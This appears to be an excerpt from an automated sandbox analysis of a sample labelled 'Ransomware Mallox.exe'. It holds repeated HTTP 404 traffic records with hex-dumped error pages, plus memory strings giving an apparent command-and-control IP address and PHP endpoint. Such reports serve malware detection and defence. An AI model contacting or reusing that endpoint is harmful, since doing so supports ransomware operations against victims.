Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 05 Nov 2024 12:23:28 GMTServer: ApacheAccept-Ranges: bytesCache-Control: no-cache, no-store, must-revalidatePragma: no-cacheExpires: 0Keep-Alive: timeout=5, max=100Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/htmlData Raw: 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 35 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0d 0a 33 0d 0a 34 30 34 0d 0a 31 0d 0a 20 0d 0a 39 0d 0a 4e 6f 74 20 46 6f 75 6e 64 0d 0a 31 66 63 61 0d 0a 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 05 Nov 2024 12:23:30 GMTServer: ApacheAccept-Ranges: bytesCache-Control: no-cache, no-store, must-revalidatePragma: no-cacheExpires: 0Keep-Alive: timeout=5, max=100Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/htmlData Raw: 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 35 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0d 0a 33 0d 0a 34 30 34 0d 0a 31 0d 0a 20 0d 0a 39 0d 0a 4e 6f 74 20 46 6f 75 6e 64 0d 0a 31 66 63 61 0d 0a 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 05 Nov 2024 12:23:31 GMTServer: ApacheAccept-Ranges: bytesCache-Control: no-cache, no-store, must-revalidatePragma: no-cacheExpires: 0Keep-Alive: timeout=5, max=100Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/htmlData Raw: 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 35 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0d 0a 33 0d 0a 34 30 34 0d 0a 31 0d 0a 20 0d 0a 39 0d 0a 4e 6f 74 20 46 6f 75 6e 64 0d 0a 31 66 63 61 0d 0a 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 05 Nov 2024 12:23:32 GMTServer: ApacheAccept-Ranges: bytesCache-Control: no-cache, no-store, must-revalidatePragma: no-cacheExpires: 0Keep-Alive: timeout=5, max=100Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/htmlData Raw: 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 35 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0d 0a 33 0d 0a 34 30 34 0d 0a 31 0d 0a 20 0d 0a 39 0d 0a 4e 6f 74 20 46 6f 75 6e 64 0d 0a 31 66 63 61 0d 0a 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 05 Nov 2024 12:23:33 GMTServer: ApacheAccept-Ranges: bytesCache-Control: no-cache, no-store, must-revalidatePragma: no-cacheExpires: 0Keep-Alive: timeout=5, max=100Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/htmlData Raw: 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 35 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0d 0a 33 0d 0a 34 30 34 0d 0a 31 0d 0a 20 0d 0a 39 0d 0a 4e 6f 74 20 46 6f 75 6e 64 0d 0a 31 66 63 61 0d 0a 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 05 Nov 2024 12:23:35 GMTServer: ApacheAccept-Ranges: bytesCache-Control: no-cache, no-store, must-revalidatePragma: no-cacheExpires: 0Keep-Alive: timeout=5, max=100Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/htmlData Raw: 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 35 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0d 0a 33 0d 0a 34 30 34 0d 0a 31 0d 0a 20 0d 0a 39 0d 0a 4e 6f 74 20 46 6f 75 6e 64 0d 0a 31 66 63 61 0d 0a 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20

Source: Ransomware Mallox.exe, 00000000.00000003.1455252517.0000023CAFEA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.215.85.142/
Source: Ransomware Mallox.exe, 00000000.00000003.1515736964.0000023CAFF0F000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1551313529.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1531166316.0000023CAFF0F000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1510198767.0000023CAFF28000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1515993832.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1545983166.0000023CAFF0F000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1505219295.0000023CADEF4000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1447919037.0000023CAFF28000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1525702943.0000023CAFF28000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1692939049.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1533218205.0000023CAFF0F000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1503545999.0000023CADEF4000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1524213941.0000023CAFF28000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1505219295.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1509849904.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1467266449.0000023CAFF0F000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1447919037.0000023CAFF0F000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1487048074.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1507859258.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1537894611.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1489751960.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.php
